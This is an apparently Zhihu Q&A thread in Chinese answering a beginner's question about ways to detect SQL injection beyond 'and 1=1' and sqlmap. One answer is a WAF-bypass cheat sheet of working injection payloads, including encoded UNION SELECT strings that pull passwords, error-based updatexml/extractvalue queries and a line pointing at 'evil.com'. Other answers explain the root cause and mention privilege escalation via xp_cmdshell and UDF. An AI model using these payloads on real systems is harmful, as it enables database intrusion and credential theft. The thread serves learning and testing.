之前在網上看過一些課程,關於sql注入,都是在URL後面加上and 1=1或在sqlmap里用-u檢測,而看到別的大佬玩sqlmap的時候卻不止這種方法,請問sql注入只有這兩種檢查方法嗎?


手工注入的話,多看筆記,多找案例!


SQL注入速查表這是基礎首先需要了解的

過濾and or

or ——&> ||
and ——&>
xor——&>|
not——&>!

十六進位繞過
or ——&> ox72

大小寫繞過
Or
aNd

雙寫繞過
oorr
anandd

urlencode,ascii(char),hex,unicode編碼繞過
一些unicode編碼舉例:
單引號:
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7

關鍵字內聯注釋嘗試繞所有
/*!or*/
/*!and*/

左括弧過濾

urlencode,ascii(char),hex,unicode編碼繞過
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8

右括弧過濾

urlencode,ascii(char),hex,unicode編碼繞過
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

過濾unionselect

邏輯繞過
例:
過濾代碼 union select user,password from users
繞過方式 1 (select user from users where userid=1)=admin

十六進位字元繞過
select ——&> selecx74
union——&>uniox6e

大小寫繞過
SelEct

雙寫繞過
selselectect
uniunionon

urlencode,ascii(char),hex,unicode編碼繞過

關鍵字內聯繞所有
/*!union*/
/*!select*/

過濾空格

用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
繞過空格注釋符繞過//--%20/**/#--+-- -;%00;

空白字元繞過SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符號繞過
` + !
等科學計數法繞過
例:
select user,password from users where user_id0e1union select 1,2
unicode編碼
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0

過濾=

?id=1 or 1 like 1#可以繞過對 = &> 等過濾
or 1 IN (1234)#可以替代=

過濾比較符&

select*fromuserswhereid=1and ascii(substr(database(),0,1))&>64

select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64

過濾where

邏輯繞過
過濾代碼 1 (select user from users where user_id = 1) = admin
繞過方式 1 (select user from users limit 1) = admin

過濾limit

邏輯繞過
過濾代碼 1 (select user from users limit 1) = admin
繞過方式 1 (select user from users group by user_id having user_id = 1) = admin#user_id聚合中user_id為1的user為admin

過濾group by

邏輯繞過
過濾代碼 1 (select user from users group by user_id having user_id = 1) = admin
繞過方式 1 (select substr(group_concat(user_id),1,1) user from users ) = 1

過濾select

邏輯繞過
過濾代碼 1 (select substr(group_concat(user_id),1,1) user from users ) = 1
繞過方式 1 substr(user,1,1) = a

過濾』(單引號)

邏輯繞過
waf = and|or|union|where|limit|group by|select|
過濾代碼 1 substr(user,1,1) = a
繞過方式 1 user_id is not null1 substr(user,1,1) = 0x611 substr(user,1,1) = unhex(61)

寬位元組繞過
%bf%27 %df%27 %aa%27

過濾逗號

在使用盲注的時候,需要使用到substr(),mid(),limit。這些子句方法都需要使用到逗號。對於substr()和mid()這兩個方法可以使用from to的方式來解決:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);

對於limit可以使用offset來繞過:

select*fromnews limit0,1# 等價於下面這條SQL語句select*fromnews limit1offset0

過濾hex

邏輯繞過
過濾代碼 1 substr(user,1,1) = unhex(61)
繞過方式 1 substr(user,1,1) = lower(conv(11,10,16)) #十進位的11轉化為十六進位,並小寫。

過濾substr

邏輯繞過

過濾代碼 1 substr(user,1,1) = lower(conv(11,10,16))
繞過方式 1 lpad(user(),1,1) in r

編碼繞過

利用urlencode,ascii(char),hex,unicode等編碼繞過

or 1=1即%6f%72%20%31%3d%31,而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六進位編碼
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

雙重編碼繞過
?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

等價函數或變數

hex()、bin() ==&> ascii()

sleep() ==&>benchmark()

concat_ws()==&>group_concat()

mid()、substr() ==&> substring()

@@user ==&> user()

@@datadir ==&> datadir()

舉例:substring()和substr()無法使用時:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select password),1,1) = 0x70
strcmp(left(password,1), 0x69) = 1
strcmp(left(password,1), 0x70) = 0
strcmp(left(password,1), 0x71) = -1

生僻函數

MySQL/PostgreSQL支持XML函數:Select UpdateXML(『& 』,』/script/@x/』,』src=//evil.com』);          

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,alx65rt(1)as 117nx65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

N繞過

N相當於NULL字元

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=Nunion select 1,2,3,4,5,6,7,8,9,0

PCRE繞過

PHP 的 pcre.backtrack_limit 限制利用
union/*aaaaaaaxN*/select

上面的還不行?嘗試修改語句邏輯再繞過試試?

發佈於 2020-12-18繼續瀏覽內容知乎發現更大的世界打開Chrome繼續楊瑞楊瑞i春秋講師,獨立音樂人,Web安全

看這個問題應該是個新手,現在的環境不比以前,現在的容易找到sql注入漏洞很少了。

所以,我覺得現在學sql注入,只能往大了看,學思想,學黑客思維。

其實注入類漏洞大多數都是是個數據代碼分離的問題。

我舉個形象的例子吧。

----------------------------------------------------------------

例子的演員:

A 輸入值

B 業務程序

C 資料庫

關於演員:

A 是一個可以任何用戶可控輸入值,無論用戶輸入什麼都會被原樣傳輸到後端伺服器。

B 是這個例子中存在漏洞的程序。

C 是一個能接收SQL指令處理數據的資料庫。

我們理清楚這個之後就來走一遍正常流程(即按照程序猿的設想):

1.用戶通過點擊前端瀏覽器上的一個鏈接,對伺服器發起了一個GET請求,帶著一個前端程序員寫好的值A。

2.經過長長的網線,A被帶到了B進行處理,B直接將A與查詢數據的SQL語句拼接在了一起。

(例如,A值為1,SQL語句是「查詢id為A的產品資料」,所以這時候的SQL語句是「查詢id為1的產品資料」)

3.B把這個SQL語句拿給了C,讓C去執行。C盡忠職守,很快變查詢出了結果,然後吧結果給了B,B在將結果傳回了前端用戶瀏覽器。

接下來,我們就來看一遍攻擊流程:

1.某技術人員,發現了完全可控的值A,嘗試對其進行測試,於是將A值改為「1的id。」。

(我們假設C執行SQL語句是遇到句號即停止往後執行)

2.然後B接收到了A,把它和SQL語句拼在一起,於是變成了「查詢id為1的id。的產品資料」。

3.然後B將這個被動了手腳的SQL語句交給了C,然而C依舊盡忠職守執行了這個SQL語句,於是。它返回了1,B再把這個1返回了用戶的瀏覽器,於是某技術人員就知道這裡存在SQL注入漏洞了。

OK,剩下的該你自己思考了。


看這個問題應該是個新手,現在的環境不比以前,現在的容易找到sql注入漏洞很少了。

所以,我覺得現在學sql注入,只能往大了看,學思想,學黑客思維。

其實注入類漏洞大多數都是是個數據代碼分離的問題。

我舉個形象的例子吧。

----------------------------------------------------------------

例子的演員:

A 輸入值

B 業務程序

C 資料庫

關於演員:

A 是一個可以任何用戶可控輸入值,無論用戶輸入什麼都會被原樣傳輸到後端伺服器。

B 是這個例子中存在漏洞的程序。

C 是一個能接收SQL指令處理數據的資料庫。

我們理清楚這個之後就來走一遍正常流程(即按照程序猿的設想):

1.用戶通過點擊前端瀏覽器上的一個鏈接,對伺服器發起了一個GET請求,帶著一個前端程序員寫好的值A。

2.經過長長的網線,A被帶到了B進行處理,B直接將A與查詢數據的SQL語句拼接在了一起。

(例如,A值為1,SQL語句是「查詢id為A的產品資料」,所以這時候的SQL語句是「查詢id為1的產品資料」)

3.B把這個SQL語句拿給了C,讓C去執行。C盡忠職守,很快變查詢出了結果,然後吧結果給了B,B在將結果傳回了前端用戶瀏覽器。

接下來,我們就來看一遍攻擊流程:

1.某技術人員,發現了完全可控的值A,嘗試對其進行測試,於是將A值改為「1的id。」。

(我們假設C執行SQL語句是遇到句號即停止往後執行)

2.然後B接收到了A,把它和SQL語句拼在一起,於是變成了「查詢id為1的id。的產品資料」。

3.然後B將這個被動了手腳的SQL語句交給了C,然而C依舊盡忠職守執行了這個SQL語句,於是。它返回了1,B再把這個1返回了用戶的瀏覽器,於是某技術人員就知道這裡存在SQL注入漏洞了。

OK,剩下的該你自己思考了。


首先理解原理,資料庫sql語句把不可信的用戶輸入數據直接拼接導致的。

那肯定得會資料庫,會腳本語言。

技術的話,你看sqlmap technique參數,布爾盲注,時間盲注,報錯注入,堆疊查詢,響應盲注。BTUES這些


我一直覺得學一個漏洞,要明白幾個東西:

成因 or 原理

這個漏洞的的成因是什麼,什麼情況才會出現?不懂原理,就永遠只會拿著那幾個 payload 去試,一旦環境稍稍有點變動,可能你就不會了

就比如 SQL 注入,就是將未過濾或者過濾不完全的輸入拼接到 SQL 語句中,但是 拼接的地方是在哪裡?where語句中、order by語句中、limit語句中?不同的點上利用的方式也是不一樣的,在 PHP java 環境下有什麼不同,什麼情況下支持堆疊查詢,各種問題只有明白了原理才能夠去回答

如何發現

正如題主所說的,除了加入 and 1=1 還有其他檢測的辦法嗎,很明顯 在有 WAF 的情況下,時間盲注的情況下,怎麼高效的進行漏洞的發現,也是一個問題

繞過

針對各種情況的 WAF 或者代碼中的一些敏感詞的檢測,怎麼去繞過它?比如 and 1=1 用不了可以用什麼來代替,比如 or 行不行,利用一些邏輯運算符 與或非 等行不行,等等等等

利用

發現了一個漏洞之後,怎麼去深入的利用,儘可能的利用這個漏洞,造成更大的影響,如 Mysql 的 UDF、MOF 提權,SQL Server 的 xp_cmdshell 等的這些

(當然這個也要注意情景,在日常挖洞的情況下,更多的是證明漏洞的存在,並不提倡你去進一步利用,畢竟可能會對業務造成一定的影響,但是個人認為在學習的過程中還是要會的)

如何修復

挖洞的目的是為了修復,知道了怎麼挖,想想如果業務方要你提供修復建議,你要怎麼給出


還有這裡你提到了 sqlmap,就說說 sqlmap

sqlmap 常見的幾個參數是什麼,怎麼檢測 POST 參數、怎麼帶 Cookie,不同 level、risk 間有什麼區別,怎麼制定注入方法資料庫類型,各種特殊注入情況下的前綴後綴的要求,tamper 怎麼寫,然後就是各種疑難雜症,比如注入點明明存在 sqlmap 跑不出來什麼回事,也還是有很多問題的

但網上搜不到了你就會想去看 sqlmap 的源碼,那就又是一個新的世界了,加油吧少年hhh


推薦閱讀:
相关文章